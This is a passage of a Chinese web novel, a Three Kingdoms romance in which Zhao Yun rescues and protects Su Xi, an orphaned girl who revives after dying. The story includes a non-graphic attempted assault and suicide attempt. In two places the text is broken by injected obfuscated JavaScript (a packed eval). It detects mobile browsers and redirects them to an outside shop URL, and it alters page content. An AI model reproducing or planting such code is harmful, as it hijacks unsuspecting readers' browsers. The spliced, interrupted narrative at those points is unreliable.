“我只是……从来没过过如此安稳、安心的日子,忍不住起了贪念……对不起将军……” “人都走远了,小姑娘说给谁听呢?” 闻声,苏兮转过头去,没看清人的面容,倒是随着脖颈上的刺痛,先看到了黑暗。 * 再醒来时,入目的是一盏昏黄的油灯。 苏兮发现自己躺在草堆上,双手被缚在背后。屋内弥漫着酒肉的酸臭味,面前看不清面容的两个男人正交谈。 “这丫头肯定还是个雏儿,鲁大人就好这口。欸,你确定那个武将离开了?” “撂下狠话走的,我听得一清二楚。你放心,不会来救她的。” “这姑娘是否还有别的亲人?” “看打扮,应该是逃难至此的,大概无依无靠。” 模糊中,苏兮听出了谈及赵云,心绪又起落寞与愧疚。外衫已被褪去,只剩件贴身的薄衣,勾勒出她不算有致的身姿。 “这件也扒了,换上红纱裙,待会儿直接送鲁府去。” 而后一只粗糙的手伸了过来。 苏兮想挣扎,却连抬腿的力气都没有。怎会如此?莫非方才脖颈上的刺痛,是带有迷药的针?此刻针上的药力还未散尽,所以四肢虚软如泥? 眼泪倏地涌上来,苏兮宁可咬舌自尽,也不想被玷污。 当血腥弥漫整个口腔,从嘴角渗出,苏兮的眼前一阵一阵的黑。恍惚间,她看见黄泉边上的父母、兄长还有太奶正向她招手。 “苏兮,你终于来了。”兄长笑着开张怀抱。 苏兮也咧嘴笑了,血大量涌出,染红身下的草堆。 “爹娘、兄长,没跟你们讲,我这段日子可是跟神君过的。他身姿高挑、容颜英俊。虽然语气冰冷,但他很温柔。都怪我太贪心,伤了神君的心……” 兄长抚摸着苏兮的脑袋,道:“神君可不会轻易丢下命途多舛的凡人,他答应兄长的。” “答应兄长是何意?” 噹—— 又是一声编钟的声响划过,与荒村遇难时一模一样的声音划过脑海。 苏兮的头倏地垂下,再睁开时,眼前空无一人,还完好穿着自己的衣裳。 “我又没死……我又复生了……” 上次发生诸如此类的状况,而后呢?紧接着发生了什么? 是神君降临?! 苏兮再次确定赵云定是神君下凡,要她活下去的神君! 之后,两男子出现,说了相同的对话,对着苏兮做了相同的动作。苏兮死咬着牙强忍,因为她清楚,不多时会发生什么。 “砰——!” 就在那双手将要扯开苏兮衣襟的瞬间,不远处的房门被人一脚踢开,门板狠狠撞在墙上,碎屑飞溅。 “什么人?!”两人惊叫回头。 一道劲风掠过,紧接着是两声短促的闷哼,贼人双双软倒在地,连来人的脸都没看清。 苏兮泪眼模糊中,看见那道高大的身影立在那儿。他微喘着气,额角沁着薄汗,眼中却沉着锋利的光。 他是赶着来救自己的? “你……为何会……” 赵云不语,上前抽刀割断苏兮腕上的布条。还没来得及脱下外袍,外面的打手提着刀便朝他冲来。 赵云淡定地旋身迎上,左手扣住那人手腕一拧,“咔嚓”一声骨响,刀应声落地。他顺势一肘撞在对方胸口,那人便倒飞出去,砸翻了身后同伴。 霎时,闻声赶来七八个壮汉,提着刀棍蜂拥而上。 尽管远离战场七年,但赵云出刀的速度不比当年差。不取性命,专削手腕和膝盖。 惨叫声此起彼伏,不多时,狭窄的屋内已横七竖八倒了一地。 屋内重新安静下来,赵云回头望向瘫倒在草堆上,眼睛却不离自己的苏兮,轻咳着收回视线,脱下自己的外袍朝后递去。 “苏姑娘先穿上吧。有什么话,我们待会儿再说。” 手中的衣裳半晌没人接,赵云小心翼翼地回头,见苏兮仍保持着同样的动作。 “苏兮姑娘是在生我的气么?” 苏兮仍眼巴巴地看着他,无力的唇连张合都艰难。 赵云无奈叹息,主动放下态度。 “虽说是姑娘先动手不好,但我也不该意气用事,我向你道歉。快将衣裳接过去穿上。” 苏兮太想讲话,急得眼泪都出来。 该怎么哄比自己小八岁的小姑娘,赵云没切身体会过,但道歉总是会的。 赵云见她还是不肯动,闷闷叹了口气,蹲下身,抻开外袍给她披上裹上。 “抱歉,我来晚了。不用担心,这次不会丢下你的。” 苏兮这下崩塌,泪流满面,委屈的呜咽从喉咙深处溢出,稍许难听。 赵云不会安慰姑娘,若是兄弟,还是勾肩搭背,可女子该如何安慰?他环顾了一圈,想不出一个法子,最后无奈,选择了自己唯一会的法子。 赵云将苏兮的上身扶起,手臂揽上她的后背,将人拉至身前,另一只手拍在苏兮后背。一时忘了收力道,苏兮被他一巴掌拍得直接咳嗽。 “抱歉!我——” 声音戛然而止。苏兮软绵绵地倒过去,摊在赵云怀里。这姿势近,他一垂眸,便发现了她脖颈上的银针。 赵云取下银针,针尖泛着可疑的暗青色。 “迷药?”赵云皱了皱眉,“所以你不是生气闹脾气……” 是无法动弹。 赵云再次看向怀中脸上挂满泪水的苏兮,仰着头眼睛巴巴地望着自己,似有千言万语想说,磐石一般坚硬的内心顿时软了半截,轻轻拍了拍苏兮的后背。 “先回驿站泡个澡,喝碗解毒药。想说的,等药效散去,我慢慢听你讲,好么?” “唔——” “什么?” 赵云稍稍俯下身子,侧耳靠近苏兮。 “我失了仪……得罪了将军……可只是我不想……一个人……” 气若游丝的声音,断断续续说着。 赵云的眸光逐渐暗淡,内心剩余的半截坚硬,一同软化成水。粗糙的手掌转而落在苏兮头顶,温柔地安抚。 “是我不该一时冲动丢下姑娘,来的晚了,还请姑娘原谅。” “不是的……不是的……” 苏兮努力将身子往上,拉近自己唇瓣与赵云耳垂的距离。 “将军……” “苏兮姑娘请讲。” “我还活着吗?” “活着。” “真的么……我能确认一下吗……将军不会怪我吧?” “姑娘请便。需要我做——” 赵云顿时僵住。 苏兮齿尖正咬住他的耳垂,随着她逐渐下沉的身子,一点点被拉扯。 那一小块软肉停在她唇齿之间,赵云只觉耳上一热,继而是微微的刺痛。苏兮的呼吸喷在他耳廓上,湿湿热热的,弄得人心乱如麻。 “苏兮姑娘,你这般……确认不了什么。” 苏兮依旧没松口,甚至加重了齿间的力道,舌尖不自觉地抵了下那枚耳垂的边缘,尝到一丝微咸的味道。 是他的汗。 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望着床榻上苏兮的睡颜,赵云的脑海中浮现出她曾说过的一些话。 “我虽然长得不好,命也不好……但是!将军若是不嫌弃,我什么都愿意做!” “因为他担心自己若是走了,以我这命……怕是他一转头,我人就没了。” 在荒村,差点被吃掉。溪边灌水,掉进水里。被人当街拐走,差点卖掉。 溪边那块石头,次日早晨,赵云特地踩上去试了试,稳稳当当的,也不打滑。那时还以为,是苏兮走神掉下去的。 “如此想来,或许另有原因啊……”赵云喃喃。 那她执意想留住自己,做那些匪夷所思的动作,难道是为了—— “自保?” * 赵云要投靠的刘备,数年前,两人因刘备向公孙瓒借兵,而得以深交。 此时的刘备正在族中四世三公的袁绍手下做事,赵云故而前往邺城寻找刘备。 苏兮跟着赵云身后,找到一处寻常人家的宅院。敲门应声而来的侍女上下打量二人,露出疑惑。 “二位是?” 赵云拱手道:“常山赵子龙,特来拜见刘皇叔。” 屋内闻声的刘备,急忙出门来,二人相见甚欢。 “子龙!” “皇叔!” 刘备兴奋地拉住赵云的手往屋里带,苏兮留在后头,站在侍女身边望着二人进屋,不知所措。 侍女看过来,问:“姑娘是赵将军的侍女?” 苏兮怯生生道:“……算是吧。” 侍女疑惑,往后院方向指了指。 “我猜,姑娘与赵将军往后肯定是住这儿了。若闲来无事,要不随我去后院看看?你也好替将军收拾收拾。” 苏兮一听,连忙欠身致谢:“多谢姑娘!” “唤我南枝,你呢?” “苏兮。” “跟在赵将军身边多久了?” “一月不到。南枝姑娘在此多久?” “我自小在这儿。母亲生下我养不活,丢在这门外头。主公捡到收留了我,如今是甘夫人身边的侍女。” “甘夫人?”苏兮小心询问,“是主公的夫人吗?” 南枝颔首道:“主公有两位夫人,甘夫人和糜夫人。” 之后,两人一路走着,南枝一面向苏兮介绍府上的情况。苏兮认真听着,眼睛不安地盯着远处直直站立不懂的男子,不禁打了个寒颤。 “南枝姑娘,对面那人……为何一直盯着我们啊?” 南枝随之望去,突然牵住苏兮的手,往另一边走。 “不理他,我们改道而行。” 奈何那男子竟跟来,快步走到两人跟前,拦住她们的去路。 “我听说,那个浑身是胆的人来了,特地来见见。” 苏兮眨眨眼:“浑身是胆?什么胆?谁来了?” 男子倏地逼近,眯着眼狠狠盯着苏兮。 “我记得,他走的时候年仅十七,英勇魁梧……怎的七年过去,成姑娘了?” 5. 又念难安 眼前的男子说着莫名其妙的话,但语气与眼中的挑衅意味愈发强烈。苏兮心生害怕,往南枝身后躲,却被他一把抓着胳膊拉出去。 “如何做到的?”男子问。 “我没明白您的话……” “这七年你经历了什么?你不是回乡尽孝吗?为何回来模样变了,连男子也不是了!” 苏兮慌慌张张,想挣脱但不敢使劲儿。 这是刘皇叔的居所,家中所有人都是刘皇叔的人。刘皇叔是赵云敬重之人,她哪儿敢反抗。 幸好南枝及时拨开男子的手,护着苏兮。 “不许闹事!这位是赵将军的侍女,苏兮,不是赵将军。” 南枝又向苏兮介绍道:“这位是陈到,陈将军。” 苏兮连忙颔首道:“小女见过陈将军。” 陈到却仍抱着双臂,上下打量苏兮,一脸不屑与不解。 “赵云呢?我要见他。” “赵将军——” “赵将军在与主公谈话,别去打扰。”南枝抢过苏兮的话道,“我还带苏兮去收拾床铺呢,不许闹事,快回去。” 苏兮看看南枝,又看看陈到,心底暗自觉得此二人的关系颇为微妙。 “敢问二位是——” “什么闹事!我与他多年恩怨未了,等了他七年,不该来吗!”陈到还犯上委屈,气呼呼地反驳南枝。 “叔至?正好我与子龙正要去寻你呢。” 身后传来声响,三人回头望去,刘备与赵云一同走来。苏兮赶忙行礼,与南枝退至一旁。 陈到一见是赵云,也不顾刘备在场,大步朝赵云迈去。 联想到方才他的话,苏兮顿时感觉赵云有危险,不顾一切抓住陈到的腰带制止。 “陈将军不可欺负将军!” 陈到惊愕地回头。 “你敢拽我?松手。” “我……我不松!将军与将军多年恩怨未了,我担心你……欺负将军。” 陈到纳了闷地看向南枝,问:“这小姑娘说什么呢?你替我解释解释?” 南枝笑着,送去个“自求多福”的表情。陈到茫然无措,幸而此时赵云主动上前。 “苏兮姑娘,松手。” “可是……” “我与陈到将军是旧识,他不敢欺负我。” 听这话,陈到立马不乐意。 “什么叫我不敢?!别以为你救过我,我就得一辈子随着你!当年你抛下我妹妹独自回常山,我这辈子都跟你过不去!” 短短一句话,听得苏兮睁圆眼睛,不可置信地看向赵云。 “抛下……是?” 赵云刚要开口解释,陈到抢过话道:“我妹妹对他一片痴心!谁知他屡屡拒婚,伤了我那可怜妹妹的心。” 陈到话音未落,苏兮已惊得下意识松了手,面如死灰地盯着赵云。 “没想到将军还做过这等事……” 赵云眉头微蹙:“话不可不听全,此事并非你听到的那样。” “不是那样?”陈到冷哼一声,双臂抱胸,“我妹妹当年对你一往情深,连父亲都默许了亲事。你倒好,不留下个誓言叫人等你回来,索性七年音信全无!这不误了人家终身大事吗!” 苏兮听得脸色更难看了,手指发抖。 “将军……你竟然……” 赵云无奈叹了声气,欲要解释此事,奈何苦思半晌,不知从何说起。此事复杂,哪是三言两语能解释的,何况眼下还有更重要的事要办。 刘备轻咳一声,捋了捋胡须,笑呵呵地走上前:“儿女情长之事,你等下来再谈,眼下我有更重要的事要与你二人商议,两位姑娘先暂时离开吧。” 南枝与陈到应下后,各自往两边走。赵云与苏兮也跟着转身,背对彼此。可刚转过身,赵云又倏地回身。 “苏兮姑娘。” 苏兮闻声回眸。 赵云平淡道:“晚些我再与你解释。” 苏兮怔在原地,目送赵云转身离去。那道背影清隽挺拔,却让她心中翻涌起说不清的酸涩。 “回神了。”南枝伸手在她面前晃了晃,打趣道,“人都走远了,还看?” 苏兮这才回过神来,低下头,声音闷闷的:“将军他当真……做过那种事吗?” “哪种事?抛下人家妹妹?”南枝拉过她的手,朝后院走去,“陈将军那张嘴你方才也见识了,只可听信一半。赵将军不也说了嘛,话不可不听全。” 苏兮抿了抿唇:“可他说得有板有眼,应该确有其事。” “具体的我也不清楚,毕竟我对赵将军仅是有所耳闻。”南枝边走边道,“但他可是主公心心念念数年的忠义之士,我相信他定不会做伤害姑娘之事。” 听到南枝这番话,苏兮心里稍安了些,但仍堵着。 “若确有此事……将军不会哪日也一声不吭弃我而去吧……” 苏兮喃喃的声音没被南枝听见,倒是面上的苦涩被她瞧见。 南枝见她这副模样,忍不住笑着捏了捏她的脸颊:“好了,别想那么多。将军既说了晚些与你解释,就一定会来。你先进屋收拾,我去给你打盆水来。” “多谢南枝姐姐。” 空房门前,南枝转身往膳房走。苏兮独自走进厢房,四顾打量了一番。房间不大,但干净明亮,往后赵云便住这儿。她的话,不出意外,应是跟南枝住一屋。 “既是将军睡的厢房,定要收拾干净!” * 一个时辰后,看着屋内一尘不染,苏兮放下手中的抹布,停下来坐在桌前喘口气儿。 忽听门外传来脚步声,苏兮心头一跳,下意识起身望去。 门虚掩着,片刻后,一只修长的手从门缝伸入推开了门。 “将军?”苏兮松了口气,以笑回应,“主公那边商议完了?” 赵云推门而入,神色比方才缓和了些许。 “商议完了。辛苦你收拾。” 苏兮有些局促地搓着手道:“将军住的地方,不敢马虎。” 赵云微微颔首,在桌前坐下,沉默了片刻,抬眸看她:“坐下说话。” 苏兮依言坐回凳上,垂着眼不敢看他。 “陈将军方才的话不可全信。” “意思是……可信一半吗?哪一半是真的?拒婚吗?” 赵云静了一瞬,淡淡道:“嗯,拒婚是真的,不告而别也是。” 苏兮心头一沉。 “那……那为何要拒?陈将军说,他妹妹对您一片痴心,连家中父亲都默许了……” “所以苏兮姑娘也觉得,若一人对你痴心一片,你分明对他无男女之情,也要成亲吗?”赵云反问道。 苏兮一怔,下意识道:“那……那自然不成。” “这便是了。”赵云将目光从她脸上移开,落向窗外的暮色,“当年我于为难中救下陈到之妹,那姑娘便对我心生情爱,其父亲也曾托人提过亲事。” “救命之恩么……” 苏兮不禁想起自己被赵云救下的场景,顿时理解了那姑娘为何想要嫁给他。 赵云继续道:“为了让那姑娘死心,我明确拒绝数次,且刻意与她保持距离。我虽乐施于人,但也不是施恩图报之人,更不会因旁人痴心便违心成亲。” “可将军也救了我,而且……说要给个容身之处,还许我留在你身边……为何?” 赵云沉默着,苏兮不禁抬眸望去,正对上赵云沉静的目光。 “那不一样。她求的是姻缘,我给不了。你求的是容身之处,我能给。”赵云收回视线道,“陈将军的妹妹,是想要我这个人。而你只想活,对我并无情爱。” 苏兮喉间一紧,半晌说不出话来。 赵云站起身,走到门前,背对着她道:“天色不早了,你先回去歇着吧。明日还有事要做。” 可惜苏兮没听赵云讲,还陷在他方才的话中。 “那倘若……” 苏兮闭了闭眼,默默给自己鼓舞士气。 “倘若某日,我也想嫁给将军呢?” 道出口,苏兮才后知后觉自己说了惊天动地的话。 希望别又惹赵将军生气才好。 她小心翼翼睁开眼,想去看赵云的表情。 “嗯?将军?” 人没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两个汉子对看一眼,真就松开南枝,把她推到后方,将苏兮往屋外拖。 “苏兮!”南枝跌坐在地,失声喊道。 苏兮被拽出膳房门槛的一刻,迎面撞上具坚硬的胸膛。 来人伸手一挡,截住了去路。 苏兮泪眼模糊地抬头,映入眼帘的是一张冷峻至极的脸。 “将军……” 赵云眼底寒霜渐浓,冷声道:“何人在皇叔府上造次?” 为首的汉子怯懦着,仍强撑着开口:“这女子身份不明,袁大人命我等带回去问话,还请将军行个方便。” 赵云没搭理,往前迈了一步。两个汉子下意识松了手,齐齐后退。 苏兮失去支撑,双腿一软。赵云伸手扶住她的肩,将她护在身侧。 “谁告诉你们她身份不明?她是我的人。” 俩汉子咽了口唾沫,还想再说些什么。赵云垂眸看了眼苏兮手腕上的红痕,眸色又沉了几分。 “在我动手之前,从这里消失。” 不等他下一步动作,两汉子交换了一个眼神,灰溜溜逃走。 南枝从灶台边爬起来,小跑到苏兮跟前检查她可有伤着。 苏兮靠在赵云身侧,惊魂未定,嘴唇翕动半天,只挤出:“多谢将军……” 赵云松开扶着她肩的手,道:“苏兮姑娘无事便好。” 他又看向南枝。 “南枝,你先带苏兮姑娘回屋歇息,剩下的交给我。” “是。” 简单两句话,苏兮却心凉了半截,比方才的惊吓更难过。 他方才唤的什么?唤自己“苏兮姑娘”,却唤南枝……南枝? 苏兮垂下眼,攥着方才被他扶过的衣袖,后退半步。 “不必了,我自己回去。” 话音未落,她已经转身,快步离开。留下的赵云和南枝望着她消失。 “将军不追吗?”南枝问。 赵云茫然反问:“苏兮姑娘回房歇息,为何要追?” 南枝轻笑着耸耸肩,道:“如果将军不介意她就这么回房哭到昏厥,明早顶着双红肿的眼睛,确实不必追。” “哭?”赵云蹙眉,“为何会哭?” 南枝瞧赵云茫然得真实,哭笑不得。 “这个嘛,还请将军追上去,自己问吧。” 6. 难安旧梦 苏兮埋头往前冲,头也不抬。陈到瞧见,故意摔坏,直挺挺站在她必经之路的中央,等她撞上来。 “小姑娘这是去哪儿?” 苏兮抬手捂着额头看向同样比自己高处半截身子的陈到。 陈到与赵云身长相当,年龄相仿,最大的区别该属面相,一冷一热一动一静。 “回房。”苏兮退后道。 陈到饶有兴趣地弯下腰,凑近些看苏兮的脸。 “怎么委屈成这样?谁欺负你了?” “没谁……” “没事儿,告诉我,哥哥帮你。” 苏兮诧异地抬眸。 “哥哥?” “我比你年长,自然是哥哥。但你不可唤我哥哥啊!我有妹妹,哥哥只许她叫。” “嗯。” 陈到见自己成功转移了苏兮的注意力,委屈少了些,欣慰一笑。 “不哭了?” “我没哭啊……” “不哭了就别沮丧个脸,笑笑。” 陈到朝苏兮咧嘴笑,苏兮见他稍显滑稽的模样,没忍住抿唇偷笑。 “对嘛。还不快谢谢哥哥?” “将军方才不是不许我叫你哥哥吗?” 陈到挑起眉头,双臂抱在身前道:“哟,脑子转得灵光,看来不笨。要不要去糜夫人身边伺候?跟着赵云做甚。” “可将军是我的救命恩人,我还未报答恩情。” “就这么跟姑娘讲吧,你这恩情不用报。或者我换个讲法,你报了,反而不好。” 苏兮歪头:“将军为何这么说?” 陈到道:“还记得前几日我的话吗?我与家妹都曾被他救,也想过报恩。可此人好似得了‘反感报恩’的病,想方设法避开家妹,甚至直言拒绝,说‘姑娘,别让我后悔救你’。” 苏兮想起赵云也曾对自己说过一模一样的话,心倏地揪紧。 “所以……我不该缠着将军,早日离开,反而好些吗?” “我听赵云说了,他带你来,是寻安身之处的。正好糜夫人身边缺个姑娘,你去不正好?你若一直跟在赵云身边,小心适得其反。” 若真去了,往后赵云在前院,她在后院,看似只一墙之隔,担保不准一年也见不上几回。 “只有离开才不会被将军讨厌吗?”苏兮再次确认。 陈到点头道:“不错。你若想报恩,就听我的。保持侍女与将军之间的隔阂,变成素未相识最合适。” 素未相识……那自己如何报恩,如何继续跟在他身后? 可相比这些,被赵云讨厌,不是更伤人心? 苏兮沉下眸子,手指不安地抓挠。 “苏兮姑娘。” 身后传来声响,苏兮回头,望着脑海中正念及之人朝自己走来。 赵云竟追上来?为何追来?是担心自己吗? 苏兮想起陈到方才给自己的劝告,连忙欠身后退。 “小女不打扰二位将军,先行告退。” 苏兮小跑离开,赵云察觉不妙,快步追上去,却被陈到拦住。 “小姑娘不想被你讨厌才走的,你别坏了人家的一片好心啊。” 赵云蹙紧眉,问:“你跟她讲了什么?” “一些过来人的劝告。好在这姑娘聪明,我一点就通。” 赵云清楚陈到这张嘴能说出什么好话,再者苏兮逃走的比方才更快,定是闹出误会了。 “我去找她。” “行了!”陈到再次挡在赵云身前,“半月后你我带队伍先行,还是以大局为重。快回房歇息吧,明早天明见。” 可赵云放心不下苏兮,无论如何想去看看,站在原地打算等陈到离开再去寻苏兮。 陈到却不给他机会,揽上赵云的脖颈强行带走。 “走吧走吧,跟我你还舍不得了?罢了,勉为其难送你回房吧。” 赵云:“……” * 屋内,南枝瞧苏兮回来,从被窝里坐起身,一脸坏笑。 “如何?解铃还须系铃人,赵将军是不是一句话就把你哄好了?” “没……” 苏兮失落地把脸埋进被褥里。 “报恩之事,恐怕只有往后再寻机会。在那之前,我不想被将军讨厌、疏离。” 然而,夜深。 想起炉上还温着的汤,苏兮翻来覆去睡不着,索性摸黑进了膳房,把汤当作酒,一饮而尽。可沮丧未减半分,反倒愈发烦闷。 苏兮垂着头往回走,不知不觉,又走到了赵云门前。 每夜都来,今夜不来,难怪睡不着。 苏兮望着紧闭的房门,嘟囔着将额头抵上门扉。 “将军应该睡了……可我睡不着。” “苏兮姑娘。” “啊!” 苏兮惊叫着转过身,后背撞上门扉。 赵云只穿了单薄一件站在身后,似是刚从什么地方回来。 “将、将军……我……我这就走!”说着,苏兮便要逃。 赵云顺势抓住苏兮的手,又立马松开。转念一想她肯定要跑走,又抓住。 “陈到跟你讲了什么?” “将军松手,我不想被你讨厌……你先松开我嘛……” 赵云蹙眉问:“无缘无故我为何会讨厌你?” “因为……” 苏兮愈发着急,双脚不安地来回跺地。 “总之将军你快松开我吧!你的仁义礼智信呢!男女授受不亲的礼教你忘了吗!” 赵云自然知道这不合礼数,松开手。苏兮果然一溜烟跑没了影。 以为是小姑娘使性子,赵云无奈叹了口气。 “房里寻不见人,猜你会来这儿。罢了,明日大概就好了。” * 习惯了每夜苏兮会送些吃食来房中,赵云若无要事,会准时等在房中。但接着几天都不见人影。 另一边。 托陈到的帮忙,苏兮去了糜夫人身边做事。每夜给赵云送吃食的事也被搁置。 不过也好。苏兮自我安慰。 糜夫人瞧这姑娘长得水灵,做事比所有人都加倍小心,格外欣喜。 “也不用这般小心,随性些也无妨。”糜夫人道。 “多谢夫人关心。” 苏兮说不出自己小心翼翼,是因为自己的命。如今自己独处在后院,没了赵云的“神力”庇护,可不得再留神些。 这日,糜夫人命人从库房搬几只大箱笼出来,打算整理些旧物赏给底下人。苏兮侍立在一旁,帮着归置。 忽听得头顶一阵闷响,像是什么绳索断裂。 苏兮抬头,一只硕大的木箱正从廊上滑落,直直朝糜夫人砸来! “夫人小心!” 苏兮想也未想,一把将糜夫人推出去。 糜夫人踉跄几步,被侍女扶住。而那只沉甸甸的箱子已轰然砸下,正中苏兮的小腿,连带着将她整个人压倒在地。 “啊——!” 一声短促的惨叫后,苏兮咬紧了牙,额上冷汗瞬间滚落。 “苏兮!”糜夫人匆忙赶来,脸色煞白,“快来人!把箱子抬开!” 几个仆役上前,合力想将那大箱挪开。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589311|205414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪的是,方才几人还抬到此处的箱子,突然变得沉重数百倍,费劲儿抬了几次也纹丝不动。 南枝焦急地跪在她面前,声音发抖:“苏兮!你疼不疼?忍忍,他们去前院叫人了。” 苏兮疼出了眼泪,但依旧咬着牙没发出声音。 感觉腿快被压断了,苏兮眼前开始一阵阵的黑。 “好痛……我的腿……” “不痛不痛,再忍忍!”南枝拿着绣帕擦拭苏兮的脸,不停往门外望。 这些日子在秘密招兵,除了身旁的几个仆役,府上只留了女眷,要叫人来估计还得等等。 苏兮不想自己的腿就这么残废了。若哪日众人离开邺城,拖着废腿,绝不会允许她跟着。到那时,可就得跟赵云道永别了。 苏兮埋下脸,额头抵着地面,眼泪砸落。 “我不想离开将军……不想被将军讨厌疏离……不想一个人……” “疏离我的不是你吗?” 腿上的箱子随着头顶落下的声音被挪开,苏兮还没来得及抬起头,身子一下轻盈离地,被赵云打横抱在怀中冲出门外。 苏兮泪眼婆娑。 “将军……” “为了自保想留在我身边,结果又自己走了,怎么还说不想离开我的话?” “因为……因为……” 苏兮终于嚎啕大哭起来,双臂不管不顾地环上赵云的脖颈,抱得紧紧的。 “谁让你从前都对想要报恩之人置之不理嘛!我宁愿忍痛从你身边消失,也不想被你讨厌嘛……” 赵云感受到苏兮的眼泪打湿自己的肩膀,抱着她的手不自觉收紧。 “我若真要与你形同陌路,初到那日争执后,便不会折返救你。” * 医馆。 “那么慌张地跑来,我还以为出人命了呢。骨头没什么大碍,修养几日便能痊愈。” 大夫打趣完离开忙活别的去了。两人对上视线,苏兮立马心虚地挪开眼。 赵云走到苏兮跟前。 “我背你回去。” “不用,还有一条腿,我能走。” “……你还在生我的气?” “没生气。” 的确没生气,苏兮说的是正经话,的确不用他背着走。他匆匆赶来救自己,又欠了份恩情,不想再给他添麻烦。 赵云却自顾钻了牛角尖。 “我要怎么做你才消气?” “我真的没生气!将军你信我。” 赵云叹了口气,在苏兮跟前单膝跪地,稍稍仰头看着她。 “我说过不丢下你,定会说到做到。你想留在我身边,那也该说到做到。人不可言而无信,你也是信了我,当初才要我救你,不是么?” “可那时我不知道将军会讨厌黏上自己的人……” “陈到与你讲的?” “嗯……” 赵云一下明白那晚苏兮为何跟陈到交谈后,见到自己转身就跑。 “那件事我不是亲口解释了吗?我是无心与那姑娘成亲,与你不同。为何还要多虑?”赵云问。 苏兮小心将双手交握在小腹前,反问:“所以将军不会讨厌我?” 赵云道:“若你不背叛主公,理应不会。” “那倘若……” 苏兮再次鼓足勇气。这次定要把话说给他听见。 “那倘若我也说想要嫁给你呢?你会为了拒绝我,从此就当与我……素未相识吗?” 赵云垂眸沉思许久。苏兮就这么端坐着暗自着急,急得手心冒汗。 “大概……不会。” 7. 旧梦新窗 苏兮怔怔地望着他,胸口那颗心擂鼓似地跳。 “大概……不会。” 赵云说得缓慢郑重,似是每个字都先在心里掂量过了。 医馆里药香袅袅,两人之间安静许久,唯有苏兮攥着衣角的手指在发颤。 “大概是何意?”她小声追问 赵云轻咳着转开微微泛红的脸,目光落在苏兮受伤的腿上,沉默了会儿才站起身,背对着她蹲下来。 “还是我背你回去。再者,七日后离开邺城,你不好好养病,如何跟我走?” 苏兮盯着赵云的后脑勺,神情呆滞。 “将军……要带我走?我们当初说的,只是到邺城啊?” “后来又说给你个安身之处。” “糜夫人恐怕不会随军离开,我如今是她身边的侍女,恐怕没法跟将军走。” 赵云的背影明显顿住,苏兮望着他那副僵在原地的样子,心里愈发着急。 “将军你说话呀。” “我该说什么?” “说什么也好啊,安安静静的……” “这是苏兮姑娘的事,该由你自己定夺。” “我……” “是跟我走,还是留在糜夫人身边,你自行定夺。” 赵云说着便要起身,苏兮忘了腿上的伤,直直扑上赵云后背,环住他的脖颈,把自己挂在他身上。 “我要跟你走!我还没报恩,不……不想离开将军。” 话已说出口,没有收回的机会。苏兮双臂已经箍得紧紧的,想松开又舍不得,只好把脸埋进赵云的肩窝,装死。 反正他也看不到自己的表情。 赵云被她这一扑撞得身形微晃,本能地抬手护住她垂下的双腿,怕她摔下去。 “……静养,不可胡乱来。” “反正你说了会带我走。”苏兮闷声道,“将军自己说要背我走的。” 赵云无奈笑了声,架起苏兮的两条腿。 “小心别掉下去。” “嗯。” * 医馆外面,夜风裹着暖意,吹着两个脸颊和脖颈红透的人。 苏兮安安静静地伏在他背上,小声问:“这几日夜里服侍糜夫人,抽不开身给将军准备夜食。将军……没在房里等我吧?” “没有。” “那就好。” 苏兮嘴上这么说,心里却悄悄泛起甜。 自己可是每夜都去他房外偷瞧了的,夜夜坐在屋中等,还不承认。 苏兮将脸重新埋进赵云的肩窝,隔着一层薄衫,能觉出他肩背的温热。 “将军又救了我呢。将军不愧是神君,在你到之前,四个人都没能抬开那箱子,将军来一只手就挪开了!” “凑巧罢了。” “嗯,凑巧,一切都刚刚好。因为有将军,一切都是好的。” 夜风拂过,吹起苏兮鬓边几缕碎发,轻轻扫过赵云的下颌。心头暖暖的,这大抵是苏兮活了十六年,最懈怠的时刻。 “苏兮姑娘,别做糜夫人身边的侍女了。” “为何?” 乌云拨开,明月洒落。赵云望着长路前方,苏兮盯着他的耳尖。 “后院离我太远,我无法护着你。” * 回到府中,南枝还守在门口。见赵云背着苏兮回来,她先是松了口气,随即目光在两人之间转了两圈,嘴角微微一翘,识趣地没多问。 “我去热碗粥来。”南枝说完便溜了。 赵云把苏兮小心安置在榻上,拉过薄被盖住她的伤腿。 “这几日别乱走动,七日后天明之前出发。” “嗯。” 苏兮乖巧地应着,目光却一直黏在他脸上。 赵云被她看得有些不自在,起身去桌边倒了盏水,递过去时才发现苏兮根本没看水,还在看他。 “……喝水。” “哦。”苏兮这才回过神,接过水杯小口小口地抿。 赵云在榻边坐下,沉默了一会儿,开口道:“糜夫人那边,明日我与主公说明。” 苏兮眨了眨眼:“可我随军,又该做些什么呢?” 赵云略作沉思,侧目看她,目光深了些。 “厨娘,如何?” * 七日后,天未亮,邺城南门外已整装待发。 赵云骑在马上,与陈到领着三百精兵,护卫刘备与家眷的车队。南枝作为甘夫人的贴身侍女,自然陪侍在侧。 苏兮背着一只包袱,站在队伍末尾。 腿上的伤好了七七八八,走起路来虽还有些酸胀,但大夫说了,多活动反而利于恢复。 只是…… 她抬头望望前面望不到头的队列,叹了口气。 厨娘,可不就得走在最后头么。 “出发!” 陈到一声令下,队伍开始南行。 苏兮跟在几个小兵后头,身后空荡荡,深一脚浅一脚地跟着。晨风微凉,吹得她鼻尖发红。她不时踮起脚往前看,可前面的人头攒动,哪看得见赵云的身影。 走了约莫两个时辰,队伍在一处坡地歇脚。 南枝从马车上跳下来,提着裙摆往后头跑,好一会儿才找到苏兮。 “苏兮!你可还好?”南枝喘着气,递过去一个水囊,“夫人让我给你带的。” 苏兮接过水囊,感激地笑了笑:“多谢夫人。” 南枝心疼地看着苏兮的腿,道:“要不我跟夫人说说,让你也上车?挤一挤总归——” 